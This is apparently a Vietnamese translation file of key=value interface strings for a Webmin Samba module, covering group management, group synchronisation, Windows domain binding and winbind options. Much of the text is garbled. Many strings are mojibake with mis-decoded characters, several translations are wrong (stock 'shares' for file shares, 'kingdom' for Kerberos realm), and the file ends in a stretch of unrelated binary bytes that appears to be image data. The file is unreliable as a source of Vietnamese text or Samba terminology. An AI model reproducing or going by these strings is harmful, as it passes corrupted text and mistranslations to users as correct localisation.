groups_type_u=không xác định
groups_sid=SID
groups_none=Không có nhóm Samba đã được xác định.
groups_return=danh sách nhóm
groups_add=Thêm một nhóm Samba mới.
groups_ecannot=Bạn không được phép xem hoặc chỉnh sửa các nhóm Samba
groups_cannot=Nhóm Samba không thể được liệt kê

gedit_title2=Chỉnh sửa nhóm Samba
gedit_title1=Tạo nhóm Samba
gedit_header=Chi tiết nhóm Samba
gedit_name=Tên nhóm
gedit_type=Loại nhóm
gedit_sid=SID nhóm
gedit_desc=Sự miêu tả
gedit_priv=Äặc quyá»n
gedit_unix=Nhóm Unix
gedit_unixgr=Nhóm ..
gedit_none=không ai
gedit_set=Liệt kê ..

gsave_err=Không thể lưu nhóm
gsave_eunix=Tên nhóm Unix hoặc GID bị thiếu hoặc không hợp lệ
gsave_ename=Tên nhóm thiếu
gsave_epriv=Thiếu đặc quyá»n nhóm
gsave_elocal=Äặc quyá»n chỉ có thể được đặt cho các nhóm địa phương

gsync_title=Äồng bá»™ hóa nhóm
gsync_msg=Webmin có thể được cấu hình để những thay đổi trong danh sách nhóm Unix sẽ tá»± động được áp dụng cho danh sách nhóm Samba. Äiá»u này sẽ chỉ hoạt động khi mô Ä‘un <b>Ngưá»i dùng và Nhóm</b> Webmin được sá»­ dụng để thêm, xóa hoặc thay đổi nhóm.
gsync_add=Thêm một nhóm Samba khi một nhóm Unix được thêm vào
gsync_chg=Thay đổi nhóm Samba khi một nhóm Unix được thay đổi
gsync_del=Xóa nhóm Samba khi nhóm Unix bị xóa
gsync_apply=Ứng dụng
gsync_type=Loại nhóm mới
gsync_priv=Äặc quyá»n cho các nhóm má»›i (nếu địa phương)
gsync_ecannot=Bạn không được phép định cấu hình đồng bộ hóa nhóm
gsync_cannot=Äồng bá»™ hóa nhóm không thể được cấu hình

check_user1=$1 : Mật khẩu được mã hóa không được bật trên trang <a href='$2'>Xác thực</a>.
check_user2=$1 : Không phải tệp mật khẩu Samba hoặc đưá»ng dẫn đến pdbedit được đặt trên trang <a href='$2'>Cấu hình mô-Ä‘un</a>.
check_group1=$1 : Các nhóm chỉ được hỗ trợ trong Samba phiên bản 3.
check_group2=$1 : Không phải đưá»ng dẫn đến lệnh smbgroupedit hoặc net được đặt trên trang <a href='$2'>Cấu hình mô-Ä‘un</a>.

winbind_title=Ràng buá»™c vá»›i tên miá»n
winbind_ecannot=Bạn không được phép liên kết vá»›i các tên miá»n
winbind_msg=Biểu mẫu này có thể được sá»­ dụng để liên kết máy chá»§ Samba cá»§a bạn vá»›i miá»n Windows, thưá»ng được quản lý bởi má»™t máy chá»§ khác.
winbind_header=Liên kết vá»›i má»™t miá»n Windows
winbind_user=Ràng buá»™c như ngưá»i dùng
winbind_dom=Ràng buá»™c vá»›i tên miá»n
winbind_save=Ràng buá»™c ngay bây giá»
winbind_default=Tên miá»n từ cấu hình Samba
winbind_pass=Mật khẩu ngưá»i dùng
winbind_err=Không thể liên kết vá»›i miá»n
winbind_euser=Thiếu tên ngưá»i dùng
winbind_edom=Thiếu tên miá»n
winbind_cmd=Liên kết vá»›i tên miá»n bằng lệnh $1 ..
winbind_failed=.. thất bại! Xem đầu ra ở trên cho lý do tại sao.
winbind_ok=.. hoàn thành.

bind_title=Tùy chá»n Winbind
bind_ecannot=Bạn không được phép chỉnh sá»­a tùy chá»n winbind
bind_header=Tùy chá»n ràng buá»™c miá»n Windows
bind_local=Kích hoạt Winbind cho tài khoản cục bộ?
bind_trust=Tin tưởng ngưá»i dùng máy chá»§ tên miá»n?
bind_users=Không cho phép danh sách ngưá»i dùng?
bind_groups=Không cho phép liệt kê các nhóm?
bind_defaultdomain=Luôn sá»­ dụng tên miá»n mặc định?
bind_realm=Vùng đất Kerberos trên máy chá»§ tên miá»n
bind_cache=Giây để lưu trữ chi tiết ngưá»i dùng cho
bind_uid=Phạm vi UID cho ngưá»i dùng Windows
bind_gid=Phạm vi GID cho các nhóm Windows
bind_backend=Phụ trợ LDAP cho ánh xạ tài khoản
bind_err=Không thể lưu các tùy chá»n Winbind
bind_erealm=Vương quốc Kerberos không hợp lệ
bind_ecache=Thiếu thá»i gian bá»™ nhá»› cache không hợp lệ
bind_euid=Phạm vi UID không hợp lệ - phải giống như 20000-30000
bind_egid=Phạm vi GID không hợp lệ - phải giống như 20000-30000

manual_title=Chỉnh sửa tập tin cấu hình
manual_desc=Chỉnh sửa tệp cấu hình Samba $1 ..
manual_err=Không thể lưu tập tin cấu hình
manual_edata=Không có gì vào!

delete_err=Không thể xóa cổ phiếu
delete_enone=Không được chá»n
ß yôÊá½~ŒorÀ5ÖJ™={þÁEÇêe¾uç£Qk®•ᯘG{÷?ù»ã+—]üôçƒÉÍ×ןô?wûM3X^¶Úæ­Œ>{´7Ù¾ì´Kã>èo²ÎnÝ\ÿªÊj¿y·ðR £õãg/î=ÞÿfúOçÖr·o×NVÊv¿ú~ÿY+ü¿NGêu÷ø·Ã®›þë¹HWŠûyëwÆ[eQ¶Ê¨¾SÚb­Ö>öÍËÇþ³>ä}Gçmx[o[<ÞÚ{ðýŸÏ®_ÅïqF– ÚÛvMIEND®B`‚